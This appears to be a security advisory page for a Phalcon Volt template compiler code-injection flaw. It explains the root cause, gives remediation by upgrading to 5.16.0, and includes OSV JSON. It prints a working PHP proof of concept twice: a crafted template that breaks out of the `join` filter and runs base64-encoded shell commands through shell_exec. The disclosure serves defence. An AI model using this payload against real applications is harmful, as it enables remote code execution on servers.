CVE-2026-59989: Phalcon/cphalcon Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-hrwp-4hh9-c8r8
CWE-94 CWE-1336
Published
Advisory Summary

CVE-2026-59989 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Phalcon/cphalcon libraries in the Packagist ecosystem. The issue involves phalcon volt compiler `join` filter compile-time php code injection (ssti leads to rce). Remediation is available by upgrading affected packages to version 5.16.0.

CVE-2026-59989 at a Glance

CVE Identifier CVE-2026-59989
GHSA Identifier GHSA-hrwp-4hh9-c8r8
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Phalcon/cphalcon
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-59989

To remediate this vulnerability, upgrade all affected Phalcon/cphalcon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phalcon/cphalcon fixed: 5.16.0
Upgrade phalcon/cphalcon to 5.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phalcon/cphalcon

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-59989, inspect your project dependencies for Phalcon/cphalcon:

inspect dependencies for phalcon/cphalcon

Analyze the terminal output to locate any version of Phalcon/cphalcon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.16.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Phalcon/cphalcon, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source. ## Details ### Root cause `phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`: ```zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")"; ``` `funcArguments[1]["expr"]["value"]` (the separator) and `funcArguments[0]["expr"]["value"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP. **Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0): ```c ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")"); ``` i.e. literally `"join('" + separator + "', " + array + ")"` with both attacker-controlled fragments unescaped. The compiled output is then written to a cache file and `require`d by `Phalcon\Mvc\View\Engine\Volt::render()`, so any PHP spliced in by the attacker runs at render time. ## PoC ```php <?php use Phalcon\Mvc\View\Engine\Volt\Compiler; $cmd = 'id; uname -a; hostname'; $b64 = base64_encode($cmd); $tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}"; $compiled = (new Compiler())->compileString($tpl); $f = tempnam(sys_get_temp_dir(), 'volt') . '.php'; file_put_contents($f, $compiled); include $f; unlink($f); ``` <img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" /> ## Impact Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.

CVE-2026-59989 Affected Phalcon/cphalcon Versions

1 component(s)
Fixed Versions:
5.16.0
Product / Package Ecosystem Affected Versions Fixed Version
phalcon/cphalcon
Packagist
< 5.16.0
5.16.0

References

Frequently Asked Questions

What is CVE-2026-59989?
CVE-2026-59989 is a security vulnerability in Phalcon/cphalcon involving Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Phalcon/cphalcon versions are affected?
Affected versions include releases prior to 5.16.0 across affected packages: phalcon/cphalcon.
What version fixes CVE-2026-59989?
Upgrading to 5.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phalcon/cphalcon affected?
Yes, phalcon/cphalcon is affected in releases prior to 5.16.0. Upgrade your dependency to 5.16.0 or later.
What CWE is associated with CVE-2026-59989?
CVE-2026-59989 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for CVE-2026-59989?
Run the dependency tree command: 'inspect dependencies for phalcon/cphalcon'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hrwp-4hh9-c8r8",
  "modified" : "2026-08-27T16:33:43Z",
  "published" : "2026-08-21T20:55:56Z",
  "aliases" : [ "CVE-2026-59989" ],
  "summary" : "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)",
  "details" : "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", &_19$$24, \"', \", &_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n<?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())->compileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n<img width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" />\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phalcon/cphalcon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.16.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.15.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/pull/17217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phalcon/cphalcon"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T20:55:56Z",
    "nvd_published_at" : "2026-08-21T21:17:00Z"
  }
}